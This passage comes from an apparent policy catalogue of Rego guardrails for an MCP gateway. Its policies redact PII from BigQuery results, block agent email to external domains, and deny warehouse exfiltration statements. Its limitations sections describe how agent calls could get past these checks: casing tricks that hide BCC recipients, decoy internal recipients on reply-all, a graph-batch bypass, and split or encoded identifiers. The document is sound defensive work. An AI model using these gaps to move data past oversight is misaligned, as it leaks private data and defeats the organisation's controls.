when result rows are returned to the MCP client, so the response path is the only place to catch it while keeping the results useful. This is a companion to the ingress `guard-warehouse-sql` policy, which keeps writes and DDL off the agent path; this policy handles what a permitted read can return. ## Tool name matching Applies on the output path (`input.mode == "output"`) to the result-returning BigQuery tools, matched case-insensitively **by suffix**. The tool name is read from `input.resource.name`, with `input.tool_metadata.name` as a fallback. Suffix matching keeps the policy portable across the gateway server-name prefix (which is not standardized). The union covers all four servers in the landscape inventory: - `execute_sql`, `execute_sql_readonly` — Google official remote server + MCP Toolbox `bigquery` toolset (snake_case, no vendor prefix). **Unlike the ingress SQL guard, this egress policy deliberately matches the read-only tool too** — a `SELECT` through `execute_sql_readonly` returns exactly the same PII and must be redacted. - `query` — ergut/mcp-bigquery-server (single `query` tool). - `execute-query` — LucasHild/mcp-server-bigquery (kebab-case). Also ends with `query`; listing it explicitly is harmless. - `get_table_info` — official/Toolbox metadata tool that returns **preview rows** of the table alongside schema, so its output can carry PII. Verify the exact names your gateway emits with the dump-input debug technique before relying on this in production, and extend `result_tool_suffixes` for any other content-returning tools your deployment exposes. ## Response shape The policy reads `input.payload.text` — the MCP content-block array the gateway populates on `tool_post_invoke` — and rewrites each string block (including string blocks containing serialized JSON, since the regexes run over the serialized text). Non-string blocks pass through unmodified. When at least one block changes (from truncation, redaction, or both), the policy emits `transform.transformed_payload` containing the original payload with the rewritten `text` array (all other payload keys preserved). When nothing changes, no transform is emitted and the response passes through byte-identical. ## Examples ### Redacted (in-scope tool, non-exempt caller) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "bigquery-mcp-execute_sql", "type": "tool" }, "subject": { "sub": "auth0|u1", "claims": { "groups": ["analytics"] } }, "payload": { "name": "bigquery-mcp-execute_sql", "text": ["[{\"email\":\"jane@acme.com\",\"ssn\":\"123-45-6789\",\"card\":\"4111 1111 1111 1111\"}]"] } } } ``` `allow = true`, with `transform.transformed_payload.text` holding the block rewritten to `[{"email":"[REDACTED-EMAIL]","ssn":"[REDACTED-SSN]","card":"[REDACTED-CARD]"}]`. ### Passed through (exempt caller) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "bigquery-mcp-execute_sql", "type": "tool" }, "subject": { "sub": "auth0|u2", "claims": { "groups": ["pii-full-read"] } }, "payload": { "name": "bigquery-mcp-execute_sql", "text": ["[{\"ssn\":\"123-45-6789\"}]"] } } } ``` `allow = true`, no `transform` — the `pii-full-read` group receives raw content. ### Truncated (oversized result, non-exempt caller) A `bigquery-mcp-query` response whose single block is a JSON array of more than `row_cap` (default 1000) rows is sliced to the first `row_cap` rows with a `{"notice": …}` element appended, then redacted. `allow = true`, transform applied. ## Composition Single-purpose transform policy (`default allow := true`); it composes cleanly with deny policies on the same egress pipeline. Recommended companions for `apps/bigquery`: - **`guard-warehouse-sql` (ingress)** — the read-only SQL guard, so writes/DDL never reach the warehouse; this policy handles what the permitted reads return. - **A PF-01 `mask-pan-egress` policy** if your tenant needs full cardholder-data coverage — this policy's card detection is 16-digit-4×4 + Luhn only and is display-side (see Known limitations). - **A PF-23 `fence-sensitive-schemas` ingress policy** to keep regulated datasets (`pii_*`, `finance_*`, `phi_*`) off the agent path entirely, so redaction is a backstop rather than the only line of defense. - **A PF-14 gate on the Toolbox AI-analytics tools** (`ask_data_insights`, `forecast`, `analyze_contribution`), which move table contents to another Google API and whose responses this policy does not match. ## Known limitations - **Regex redaction over serialized result content is best-effort.** Detection runs over the serialized response text, not a parsed row model. Values split across columns (e.g. an SSN stored as three separate fields), base64- or otherwise-encoded fields, and non-standard national-ID formats will not match. Treat this as a high-signal minimum-necessary layer, not a complete DLP solution. Two SSN-format specifics worth calling out: only the canonical hyphenated `123-45-6789` form is matched — an SSN written with space or dot separators (`123 45 6789`, `123.45.6789`) or as a bare 9-digit run (`123456789`) passes through, the last of these *deliberately* (bare 9-digit runs collide with object IDs and phone digits, so masking them would over-redact non-PII). Detection is also **per content block**: each string entry of `payload.text` is scanned on its own, so an identifier split across two blocks (`"...123-45-"` in one block, `"6789..."` in the next) has no single block that matches, and passes through — the same failure mode as an identifier split across columns, applied at the content-block boundary. Fullwidth/unicode digit forms, and JSON that serializes the hyphen as an escape sequence, are likewise not matched (encoded-field caveat above). - **The SSN and card patterns are `\b`-anchored, so identifiers glued to adjacent alphanumerics escape.** The SSN and card regexes require a word boundary at each end. An identifier fused directly to a neighbouring letter or digit with no delimiter or whitespace — e.g. `note4111111111111111`, `id123-45-6789x` — has no word boundary and is *not* matched. In practice serialized JSON delimits every value with quotes, commas, or braces (all non-word characters), so a card or SSN sitting in its own field is bounded correctly and redacted; this residual only bites when an identifier is concatenated into a longer alphanumeric token inside a single string value. The anchoring is intentional (it is what keeps a 16-digit card from being pulled out of the middle of a longer numeric ID) — do not remove the boundaries to close this gap, or false positives rise sharply. Pair with a dedicated PF-01 `mask-pan-egress` / PF-02 policy tuned to your data if concatenated identifiers are a real risk in your tables. - **Redaction masks the response to the caller only — it does not alter data at rest.** The rows in BigQuery are unchanged; the mask exists solely in what the gateway returns to the agent. This is a disclosure-minimisation control on the read path, not de-identification of the warehouse. - **PAN masking here is display-side (PF-01 territory) and card detection is heuristic.** A card-shaped number is redacted only when it is 16 digits in contiguous or single-`[- ]`-separated 4×4 groups **and** passes the Luhn check. Luhn-valid cards that are not 16-digit-4×4 — 15-digit Amex (4-6-5), 14-digit Diners, 13/19-digit ranges — and 16-digit cards grouped with dots or slashes pass through. For full cardholder-data coverage pair this with a dedicated PF-01 `mask-pan-egress` policy; do not rely on this policy alone for PCI PAN masking. - **Row truncation approximates rows as JSON-array elements.** The guard clamps a content block only when that block is a serialized JSON array; servers that return one row per content block, CSV/TSV text, or a nested `{rows: [...]}` envelope are not truncated by the default logic. Verify your server's result shape with the dump-input technique and adjust `row_cap` / the truncation rule accordingly, or set `row_cap := 0` to disable it and rely on an ingress `cap-bulk-export` guard instead. - **Non-string content blocks — and a non-array `text` — pass through unmodified.** Redaction and truncation apply only to *string* entries of an *array* `input.payload.text` (including serialized-JSON strings). A structured non-string block (e.g. an object `{"email": …}` rather than a serialized string) is returned verbatim, and if a server delivers `payload.text` as a bare string rather than the MCP content-block array, the transform does not fire and the response passes through unredacted. The gateway normally normalizes tool output to a string content-block array; verify your server's shape with the dump-input technique and, if it emits structured blocks, add a companion policy or a parse step. - **AI-analytics tool responses are out of scope for redaction.** This policy matches only the SQL/result and `get_table_info` tools listed under Tool name matching. The MCP Toolbox AI-analytics tools — `ask_data_insights`, `forecast`, `analyze_contribution` — are **not** matched, so PII that appears in a natural-language `ask_data_insights` answer (for example, an answer that quotes a customer email or SSN) is returned to the agent unredacted. Gate those tools with the PF-14 companion (see Composition), or add their suffixes to `result_tool_suffixes` if you want this policy's regexes to run over their output too. - **Group names are placeholders — replace `pii-full-read` with your IdP's group name at import time.** The exemption expects the `groups` claim as an array of strings (a single bare string is also handled); if your IdP emits roles under a namespaced claim, adjust `caller_groups`. On Auth0 tenants without RBAC/permissions configured, no `groups` claim reaches the policy, so the exemption never fires — the transform applies to everyone until the claim is wired up (fail-closed: over-redaction, not disclosure). - **Egress `transformed_payload` replaces the response payload wholesale.** Verify the rewrite against your gateway version with the dump-input technique before production, and mind attachment order if other egress transforms run on the same pipeline. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package bigquery.egress.redact_pii # Transform-only egress policy: rewrites high-confidence PII in BigQuery # result-returning tool responses to fixed, non-recoverable tokens before the # response reaches the agent, and optionally clamps oversized JSON-array results # to blunt bulk exfil. Never denies. Callers in the placeholder `pii-full-read` # IdP group receive the full unredacted/untruncated response; the group check # fails closed, so a caller with missing claims gets over-redaction, never # disclosure. default allow := true # ----------------------------------------------------------------------------- # Optional row-truncation guard. row_cap bounds how many rows a single result # can return to the agent. When > 0, any content block that is a serialized JSON # array longer than row_cap is clamped to the first row_cap elements (a notice # element is appended). Set to 0 to disable truncation and run redaction only, # or raise it toward the server's ~3,000-row cap. See Known limitations for the # rows-as-JSON-array-elements caveat. row_cap := 1000 # ----------------------------------------------------------------------------- # Scope: BigQuery result-returning tools across all four servers in the landscape # inventory. The gateway prefixes tool names with the configured MCP server name # (not standardized), so match by suffix, case-insensitively. Unlike the ingress # SQL guard, the read-only tool IS matched here: a SELECT through # execute_sql_readonly returns the same PII and must be redacted. # ----------------------------------------------------------------------------- result_tool_suffixes := { "execute_sql", # Google official remote server + MCP Toolbox (also matches _readonly via its own entry) "execute_sql_readonly", # Google official read-only tool "query", # ergut/mcp-bigquery-server (also a suffix of execute-query) "execute-query", # LucasHild/mcp-server-bigquery "get_table_info", # official/Toolbox metadata tool — returns preview rows } is_result_tool if { input.mode == "output" some suffix in result_tool_suffixes endswith(lower(object.get(object.get(input, "resource", {}), "name", "")), suffix) } is_result_tool if { # Egress hooks also expose the tool name under tool_metadata.name — check both # so we match regardless of which surface the gateway populates. input.mode == "output" some suffix in result_tool_suffixes endswith(lower(object.get(object.get(input, "tool_metadata", {}), "name", "")), suffix) } # ----------------------------------------------------------------------------- # Group exemption — placeholder IdP group whose members receive the full # response. Replace "pii-full-read" with your IdP's group name at import time. # object.get chains mean a missing subject/claims/groups claim is never exempt: # the grant fails closed and the transform applies. # ----------------------------------------------------------------------------- exempt_groups := {"pii-full-read"} caller_groups := object.get( object.get(object.get(input, "subject", {}), "claims", {}), "groups", [], ) is_exempt if { some g in caller_groups lower(g) in exempt_groups } is_exempt if { # Some IdPs emit a single group as a bare string rather than an array. is_string(caller_groups) lower(caller_groups) in exempt_groups } # ----------------------------------------------------------------------------- # Detection patterns — anchored and conservative to limit false positives. # ----------------------------------------------------------------------------- # US SSN in the canonical hyphenated form only. Bare 9-digit runs collide with # object IDs and raw phone digits, so they are deliberately not matched. ssn_pattern := `\b\d{3}-\d{2}-\d{4}\b` # 16-digit card-shaped runs in 4x4 groups with optional space/hyphen separators. # Candidates are only redacted after passing the Luhn check below — a matching # shape alone is not enough. card_pattern := `\b\d{4}[- ]?\d{4}[- ]?\d{4}[- ]?\d{4}\b` # Email addresses: local part, @, domain, dot, 2+ letter TLD. Unanchored (no # \b, unlike the SSN and card patterns): the character class — which excludes # quotes, commas, and braces — is what keeps it from eating adjacent JSON # punctuation. email_pattern := `[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}` # ----------------------------------------------------------------------------- # Luhn check — validates card-shaped candidates so invoice/reference numbers that # merely look like PANs are left alone. # ----------------------------------------------------------------------------- digits_only(s) := regex.replace(s, `[^0-9]`, "") luhn_contribution(d, parity) := d if { parity == 0 } luhn_contribution(d, parity) := 2 * d if { parity == 1 (2 * d) < 10 } luhn_contribution(d, parity) := (2 * d) - 9 if { parity == 1 (2 * d) >= 10 } luhn_valid(digits) if { chars := split(digits, "") n := count(chars) total := sum([v | some i, c in chars v := luhn_contribution(to_number(c), (n - 1 - i) % 2) ]) total % 10 == 0 } # All card-shaped substrings of t that pass the Luhn check. card_candidates(t) := {c | some c in regex.find_n(card_pattern, t, -1) luhn_valid(digits_only(c)) } # ----------------------------------------------------------------------------- # Redaction steps — each is total over strings: it returns the input unchanged # when its class doesn't apply, so the steps chain safely. # ----------------------------------------------------------------------------- redact_ssn(t) := regex.replace(t, ssn_pattern, "[REDACTED-SSN]") redact_cards(t) := out if { cands := card_candidates(t) count(cands) > 0 # Candidates contain only digits, spaces, and hyphens, so joining them into an # alternation of literals is regex-safe. literal := concat("|", sort([c | some c in cands])) out := regex.replace(t, literal, "[REDACTED-CARD]") } redact_cards(t) := t if { count(card_candidates(t)) == 0 } redact_emails(t) := regex.replace(t, email_pattern, "[REDACTED-EMAIL]") # Order: SSNs first, then Luhn-checked cards (digit groups), then emails. The # three patterns are disjoint (SSN's 3-2-4 hyphenation cannot occur inside a # 4x4 card, and neither contains an "@"), so ordering only guards against # incidental overlap. redact_block(b) := redact_emails(redact_cards(redact_ssn(b))) if { is_string(b) } # Non-string content blocks pass through unmodified. redact_block(b) := b if { not is_string(b) } # ----------------------------------------------------------------------------- # Row truncation — clamps a content block that is a serialized JSON array longer # than row_cap to the first row_cap elements, appending a notice element. Blocks # that aren't oversized JSON arrays are returned unchanged. # ----------------------------------------------------------------------------- truncation_notice := sprintf( "Result truncated to the first %d rows by gateway policy. Ask for the pii-full-read role or narrow the query if you need the full result set.", [row_cap], ) truncate_block(b) := out if { row_cap > 0 is_string(b) parsed := json.unmarshal(b) is_array(parsed) count(parsed) > row_cap out := json.marshal(array.concat( array.slice(parsed, 0, row_cap), [{"notice": truncation_notice}], )) } capped_block(b) := truncate_block(b) capped_block(b) := b if { not truncate_block(b) } # ----------------------------------------------------------------------------- # Transform — truncation runs first, then redaction over the surviving rows. # Emitted only when in scope, the caller is not exempt, and at least one block # actually changed. Otherwise the rule is undefined and the aggregator skips this # policy, returning the response byte-identical. # ----------------------------------------------------------------------------- response_payload := object.get(input, "payload", {}) text_blocks := object.get(response_payload, "text", []) capped_blocks := [out | some block in text_blocks out := capped_block(block) ] redacted_blocks := [out | some block in capped_blocks out := redact_block(block) ] transform := { "transformed_payload": object.union(response_payload, {"text": redacted_blocks}), } if { is_result_tool not is_exempt is_array(text_blocks) redacted_blocks != text_blocks } ``` ### Block Agent Email to External Recipients URL: https://www.intentbasedpolicy.com/policies/ms365/guard-external-send App(s): ms365 | Direction: ingress | Bundles: soc2, hipaa, gdpr-ccpa | Package: ms365.ingress.guard_external_send | Published: 2026-07-12 | Tags: ms365, guard-external-send, ingress, email, dlp, soc2, hipaa, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/ms365/guard-external-send/policy.md # ms365 / guard-external-send **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `ms365.ingress.guard_external_send` ## What it does Blocks agent-initiated Microsoft 365 email sends when any recipient address falls outside a corporate-domain allowlist. On the send-class mail tools (send, reply, reply-all, forward, send-draft, shared-mailbox send), the policy extracts every recipient it can see in the tool arguments and denies if any address is outside the `allowed_domains` set. Callers in the `external-comms` identity group are exempt. All non-send tools pass through unchanged. The posture on matched tools is strictly fail-closed: if a send-class call carries no recipients in its arguments (e.g. `send-draft-message`, or a reply whose recipients live server-side on the thread), or a recipient entry has no readable `emailAddress.address`, the check cannot run and the call is **denied**, not waved through. Malformed addresses (no `@`, multiple `@`, unknown subdomains) are treated as external. The check runs at ingress, before the call reaches the MCP server — a blocked email never leaves the tenant, which matters because sent mail is instantly external and unrecallable. ## Compliance alignment - **SOC 2 CC6.7** — supports the restriction on transmission/movement of information outside the organization's boundary by stopping agent email to non-corporate recipients on the MCP path; **P6.1** — supports limiting personal information disclosure to third parties over the agent's email channel. - **HIPAA §164.530(c)** — supports privacy safeguards by preventing an agent from mailing mailbox content (which routinely contains PHI) to addresses outside the covered entity's domains. - **GDPR Art. 5(1)(f) / Art. 32** — supports security of processing by containing agent-driven personal-data egress to approved domains; **Arts. 44/46** — supports cross-border transfer discipline for agent-visible flows: an agent cannot mail data to arbitrary external (potentially third-country) recipients. ## Why ingress and not egress Sending email is a write with irreversible external side effects — once Graph accepts the `sendMail` action, the message has left the tenant. Egress policies could only mask the API response, not the delivery. Ingress denial is the only placement that actually prevents the disclosure. ## Tool name matching The policy matches the softeria `ms-365-mcp-server` send-class mail tools by suffix (names verified from a live gateway deployment): - `*-send-mail` - `*-reply-mail-message` - `*-reply-all-mail-message` - `*-forward-mail-message` - `*-send-draft-message` - `*-send-shared-mailbox-mail` The DTwo gateway prefixes tool names with the configured MCP server name (observed live as `ms365-`), and that prefix is not standardized — matching on the suffix keeps the policy portable. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. Draft-creation tools (`*-create-draft-email`, `*-create-reply-draft`, `*-create-forward-draft`, `*-create-shared-mailbox-draft`) are deliberately not matched: a draft does not leave the tenant until something sends it, and drafts are the recommended fallback workflow when this policy denies. ## Argument shape Two documented recipient shapes are read (both from the live softeria schemas), and every hop is read with `object.get` so a missing field can never crash a rule open: 1. `send-mail` (and shared-mailbox send) nest the message under a `Message` wrapper, per the Graph `sendMail` action: `body.Message.toRecipients[].emailAddress.address` — same shape for `ccRecipients` and `bccRecipients`. All three lists are checked. 2. `forward-mail-message` uses a **top-level** field instead: `body.ToRecipients[].emailAddress.address`. **Casing is not trusted.** Microsoft Graph binds OData property names case-insensitively, so an agent can send `body.Message.BccRecipients` (capital B), a lowercase `message` wrapper, or a top-level lowercase `toRecipients` and Graph will still deliver the mail. The policy therefore lowercases every wrapper key (`message`) and every recipient-list key (`toRecipients` / `ccRecipients` / `bccRecipients`) before matching, and gathers recipient lists from **both** the top level of `body` and any `message`-style wrapper. This closes the casing trap the landscape note warns about: a hidden capital-cased BCC can no longer ride alongside a visible internal recipient. Both shapes are extracted on every matched tool, so a forward that carries a full `body.Message` is also covered. Addresses are compared lowercase against `allowed_domains`; the domain match is exact, so subdomains you use must be listed explicitly. ## Examples ### Allowed — all recipients on corporate domains ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "ms365-send-mail", "type": "tool" }, "payload": { "name": "ms365-send-mail", "args": { "body": { "Message": { "subject": "Q3 numbers", "toRecipients": [ { "emailAddress": { "address": "cfo@example.com" } } ] } } } } } } ``` `allow = true`, no reason. ### Denied — external recipient in bcc ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "ms365-send-mail", "type": "tool" }, "payload": { "name": "ms365-send-mail", "args": { "body": { "Message": { "toRecipients": [ { "emailAddress": { "address": "cfo@example.com" } } ], "bccRecipients": [ { "emailAddress": { "address": "partner@outside.io" } } ] } } } } } } ``` `allow = false`, `reason = "This message addresses recipients outside the approved corporate domains: partner@outside.io. (...)"`. ## Composition This policy is single-purpose. Useful companions: - A `graph-batch` deny policy — `*-graph-batch` can invoke the Graph `sendMail` endpoint directly and bypasses every per-tool rule, including this one. - `guard-share-links` (PF-05) — email is only one egress lane; anonymous OneDrive/ SharePoint share links are the other. - A mail-rule persistence block on `*-create-mail-rule` / `*-update-mail-rule` — a forwarding rule is the classic way to leak mail without ever calling a send tool. ## Known limitations - **Placeholders — replace at import time.** The `allowed_domains` set ships with `example.com` / `example.org`; replace it with your organization's real email domains (including any subdomains you use — matching is exact). The exemption group name `external-comms` is a placeholder — replace it with your IdP's group name. The policy reads `input.subject.claims.groups`; a caller with no groups claim is simply not exempt (fails closed). - **Server-side recipients are invisible.** `send-draft-message` sends by `messageId` only, and the reply tools can inherit recipients from the thread — in both cases Graph resolves the audience server-side and the gateway never sees it. A draft addressed to an external party in the Outlook web UI is not visible here. The residual is partly handled with a deny-when-args-absent posture: a covered call with **no** argument-visible recipient is denied outright, so these tools cannot be used as a *silent* (recipient-free) blind external channel, and comment-only replies plus all draft sends are denied for non-exempt callers (route those through the `external-comms` group or the create-draft + human-send workflow). - **Reply / reply-all can still leak to thread externals (accepted residual).** The deny-when-args-absent posture does **not** fully close the reply channel. Graph's `reply` / `replyAll` actions **add** any argument-supplied recipients to the thread's existing audience rather than replacing it, so a non-exempt caller who supplies a single *internal* recipient in the `Message` wrapper satisfies the check (one visible recipient, none external) and is **allowed** — while Graph still delivers the reply to every server-side thread participant, including external ones the gateway never sees (see the reply-all decoy test in `tests.yaml`). In other words, `reply-mail-message` / `reply-all-mail-message` can egress to thread externals even when this policy allows the call; a decoy internal recipient is enough. `forward-mail-message` and `send-mail` build a fresh message with an argument-visible audience and are fully checked — this residual is specific to the two thread-reply tools. Where reply-to-external- threads is unacceptable, pair this policy with a human-in-the-loop control on reply/reply-all, or deny those two tools outright for non-exempt callers. - **Teams egress is out of scope.** `send-chat-message` has no recipient-domain argument (audience is a `chatId`), so chat egress to federated tenants cannot be checked by this policy. Treat Teams as a separate control surface. - **`graph-batch` bypass.** See Composition — pair this policy with a batch deny. - **Shared-mailbox send shape assumed.** `send-shared-mailbox-mail` is matched by suffix and its arguments are assumed to follow the same capital-M `body.Message` shape as `send-mail`; if a deployment nests them differently the policy fails closed (no recipients visible → deny) rather than open. - **Recipient-key casing is normalized, but wholly undocumented keys are not.** The policy matches wrapper and recipient-list keys case-insensitively (`message`, `to/cc/bccRecipients`), so capitalization tricks no longer hide a recipient. The residual: a recipient list carried under an entirely different key that Graph still honours (not one of the `*Recipients` names, not inside a `message` wrapper) would be invisible. If such a list is the *only* recipient source the call fails closed (no visible recipients → deny); the unclosed edge is a hidden list riding alongside a separately-visible internal recipient under a truly novel key. The reply / reply-all / shared-mailbox recipient shapes are assumed to follow the documented `Message`-wrapper convention (only `send-mail` and `forward-mail-message` shapes are landscape-verified). - **Name-based matching only.** Generic passthrough servers (e.g. Lokka's single `Lokka-Microsoft` tool) do not expose per-action tool names and are not covered. > **Compliance note.** This policy supports alignment with the cited framework > controls **on the MCP path only**. No policy or bundle makes an organization > compliant with any framework; web-UI, native-API, and in-app access are outside > the gateway's reach by design. Validate against your own compliance program > before relying on it. ```rego package ms365.ingress.guard_external_send # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # --- Configuration ------------------------------------------------------------ # Corporate domains recipients may belong to. PLACEHOLDERS — replace with your # organization's real email domains at import time. Matching is exact and # lowercase; subdomains you use must be listed explicitly. allowed_domains := { "example.com", "example.org", } # IdP group whose members may email external recipients. PLACEHOLDER — replace # with your IdP's group name at import time. exempt_group := "external-comms" # --- Tool matching -------------------------------------------------------------- # Send-class mail tools (softeria ms-365-mcp-server names, verified from a live # gateway deployment). The gateway prefixes tool names with the configured MCP # server name (e.g. `ms365-`), so match by suffix to stay portable. send_tool_suffixes := [ "-send-mail", "-reply-mail-message", "-reply-all-mail-message", "-forward-mail-message", "-send-draft-message", "-send-shared-mailbox-mail", ] is_send_tool if { some suffix in send_tool_suffixes endswith(lower(input.resource.name), suffix) } # --- Recipient extraction -------------------------------------------------------- # Every hop uses object.get so a missing field yields an empty default instead of # silently killing an allow rule — missing data must end in deny, not crash-open. request_args := object.get(object.get(input, "payload", {}), "args", {}) # request_body must be an object; anything else (string, array, missing) collapses # to {} so the key iteration below never crashes and simply surfaces no recipients # — which fails closed on a send-class tool. request_body := body if { body := object.get(request_args, "body", {}) is_object(body) } request_body := {} if { not is_object(object.get(request_args, "body", {})) } # Recipient-list field names, compared lowercase. Microsoft Graph binds OData # property names case-insensitively, so we must NOT trust the exact casing an # agent sends: `body.Message.BccRecipients` (capital B) still delivers a BCC even # though the documented shape is `bccRecipients`. The landscape note flags this # Message/ToRecipients-vs-toRecipients casing trap explicitly — Rego must handle # every casing, not just the two documented spellings. recipient_field_names := {"torecipients", "ccrecipients", "bccrecipients"} # Recipient lists appear either at the top level of `body` (forward-mail-message's # `ToRecipients`) or nested inside a `Message`/`message` wrapper (send-mail, reply, # reply-all, shared-mailbox send — the Graph sendMail/reply action shapes). Both # the wrapper key and the field keys are matched case-insensitively so a # capitalization trick (`BccRecipients`, a lowercase `message` wrapper, a # top-level `toRecipients`, etc.) cannot smuggle a hidden external recipient past # the check while a visible internal recipient keeps the send allowed. top_level_entries := [entry | some key, val in request_body lower(key) in recipient_field_names is_array(val) some entry in val ] message_wrappers := [val | some key, val in request_body lower(key) == "message" is_object(val) ] nested_entries := [entry | some wrapper in message_wrappers some key, val in wrapper lower(key) in recipient_field_names is_array(val) some entry in val ] recipient_entries := array.concat(top_level_entries, nested_entries) # A recipient entry is readable only when emailAddress.address is a non-empty # string; anything else (missing key, wrong type) makes the entry unreadable and # the request denied below. readable_address(entry) := addr if { is_object(entry) addr := lower(object.get(object.get(entry, "emailAddress", {}), "address", "")) addr != "" } recipient_addresses := {addr | some entry in recipient_entries addr := readable_address(entry) } some_recipient_unreadable if { some entry in recipient_entries not readable_address(entry) } # The domain must match an allowlisted domain exactly. Malformed addresses (no # `@`, more than one `@`, empty domain) never satisfy this and count as external. domain_allowed(addr) if { parts := split(addr, "@") count(parts) == 2 parts[1] in allowed_domains } external_recipients := {addr | some addr in recipient_addresses not domain_allowed(addr) } # --- Identity exemption -------------------------------------------------------- # Missing subject / claims / groups all fail closed: no groups claim, not exempt. caller_groups := object.get(object.get(object.get(input, "subject", {}), "claims", {}), "groups", []) exempt_caller if { some group in caller_groups lower(group) == exempt_group } # --- Allow rules ---------------------------------------------------------------- # Any tool that is not a send-class mail tool passes through unchanged. allow if { not is_send_tool } # Members of the exemption group may email anyone. allow if { is_send_tool exempt_caller } # Send-class calls are allowed only when at least one recipient is visible in the # arguments, every recipient entry is readable, and none is external. allow if { is_send_tool count(recipient_entries) > 0 not some_recipient_unreadable count(external_recipients) == 0 } # --- Deny reasons ---------------------------------------------------------------- reasons contains msg if { is_send_tool not exempt_caller count(external_recipients) > 0 msg := sprintf( "This message addresses recipients outside the approved corporate domains: %s. Remove the external addresses or save a draft for a human to review and send. Contact your InfoSec team if an external domain should be approved.", [concat(", ", sort([addr | some addr in external_recipients]))], ) } reasons contains "No recipient addresses are visible in this request, so the corporate-domain check cannot run and the send is blocked. Include explicit recipients in the call, or create a draft and let a human send it from Outlook. Contact your InfoSec team if this blocks a legitimate workflow." if { is_send_tool not exempt_caller count(recipient_entries) == 0 } reasons contains "A recipient in this request is missing a readable email address, so the corporate-domain check cannot run and the send is blocked. Provide every recipient as emailAddress.address, or create a draft for human review. Contact your InfoSec team if this was a false positive." if { is_send_tool not exempt_caller some_recipient_unreadable } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Block BigQuery Exfiltration and Cross-Project Writes URL: https://www.intentbasedpolicy.com/policies/bigquery/guard-warehouse-export App(s): bigquery | Direction: ingress | Bundles: soc2, pci-dss, gdpr-ccpa | Package: bigquery.ingress.guard_warehouse_export | Published: 2026-07-12 | Tags: bigquery, guard-warehouse-export, ingress, sql, exfiltration, soc2, pci-dss, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/bigquery/guard-warehouse-export/policy.md # bigquery / guard-warehouse-export **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on an exfiltration/cross-project construct (and fail closed on unreadable SQL), allow otherwise **Package:** `bigquery.ingress.guard_warehouse_export` ## What it does Inspects the raw GoogleSQL string carried by BigQuery SQL tools and denies any statement that moves data *out of the tenant's own project* — even when the call does not look like a classic "write tool" at the MCP layer. Three exfiltration shapes are blocked: - **`EXPORT DATA`** — streams query results to a Cloud Storage (`gs://`) bucket outside the warehouse. This is a read-shaped statement that lands data on GCS. **`EXPORT MODEL`** — streams a trained BigQuery ML model (whose artifacts can encode training data) to a `gs://` bucket; caught by the same rule. - **`EXTERNAL_QUERY`** — a federated pull from another data source (Cloud SQL, Spanner, etc.), moving data across a trust boundary. - **A persistent write into another project** — `INSERT` (with or without the optional `INTO`), `MERGE`, `UPDATE`, `CREATE [OR REPLACE] TABLE`, or `CREATE SNAPSHOT TABLE` whose target is a fully-qualified `project.dataset.table` reference in a project ID **outside the tenant's allowlist**. A two-part `dataset.table` reference (implicitly the current project) is not flagged by this policy; only an explicit cross-project target is. It also inspects the standalone **`project_id` argument**. The official remote BigQuery MCP server lets a caller target *any* project their IAM happens to allow, so a `project_id` set to a value not on the allowlist is denied on its own — independent of the SQL text. Data may only land inside the tenant's own allowlisted project(s). Approved cross-project or GCS exports are expected to run through the data platform team's sanctioned export pipeline, not the agent MCP path. Two correctness properties: - **Fail closed on unreadable SQL.** If a matched SQL tool is called with no `sql` string (missing, empty, or a non-string value), the guard cannot confirm the statement is exfiltration-free, so it **denies** rather than letting an opaque payload through. This stops a renamed-argument or malformed call from slipping an `EXPORT DATA` past the regex. - **The read-only tool is excluded.** The official Google server's `execute_sql_readonly` ("no DML, DDL, or Python UDFs") cannot run these constructs; it is matched on its `_readonly` suffix first and excluded, so a read-only call is never caught here. Cross-project *reads* via `_readonly` are out of this policy's scope (see Known limitations). This runs at ingress, before the statement reaches BigQuery, so a blocked `EXPORT DATA`/`EXTERNAL_QUERY`/cross-project write never executes and no data ever leaves the tenant's project boundary. ## Compliance alignment - **SOC 2 CC6.7** — supports the restriction on transmission, movement, and removal of information by blocking the agent from streaming warehouse data to an external GCS bucket, pulling it across a federated source, or copying it into another project. (Change-management control **CC8.1** is also supported where the cross-project write is an unreviewed DDL.) - **PCI DSS 7.2.6** — supports restricting programmatic query access to stored cardholder data by keeping bulk-export and cross-project-write constructs off the agent MCP path, so CHD cannot be relocated out of the in-scope project. - **GDPR Art. 5(1)(c)** — supports data minimisation on the agent channel by blocking constructs that copy personal-data tables wholesale to GCS or another project; **Arts. 44/46** — supports control over cross-border/cross-boundary transfers by denying federated pulls and out-of-project writes the tenant has not sanctioned. - **SOX §802 / 18 U.S.C. §1519** — supports the anti-alteration/anti-movement control over financially relevant records by preventing the agent from copying or relocating warehouse tables into an uncontrolled project or GCS bucket outside the reviewed data-engineering path. ## Tool name matching The policy matches BigQuery SQL tools by **suffix** (the gateway prefixes tool names with the configured MCP server name, which is not standardized): - `*execute_sql` — Google official remote server + MCP Toolbox `bigquery` toolset - `*query` — ergut/mcp-bigquery-server (single `query` tool) - `*execute-query` — LucasHild/mcp-server-bigquery (kebab-case) The read-only tool is matched first and **excluded**: - `*_readonly` (covers `execute_sql_readonly`) — never inspected here. Metadata/read helpers (`list_dataset_ids`, `get_table_info`, `list-tables`, `describe-table`, …) do not end with a matched suffix and pass through untouched. ## Argument shape - **SQL** is read from `input.payload.args.sql` (verified for the official / Toolbox servers and ergut), with `query` inspected as a defensive fallback; the policy matches against the concatenation of whichever string values are present. LucasHild's `execute-query` SQL argument key is unverified — a matched call whose SQL lands under some other key carries no readable SQL and is **denied fail closed** (add the real key to `sql_arg_keys` in `policy.md`). - **`project_id`** is read from `input.payload.args.project_id` (verified key for the 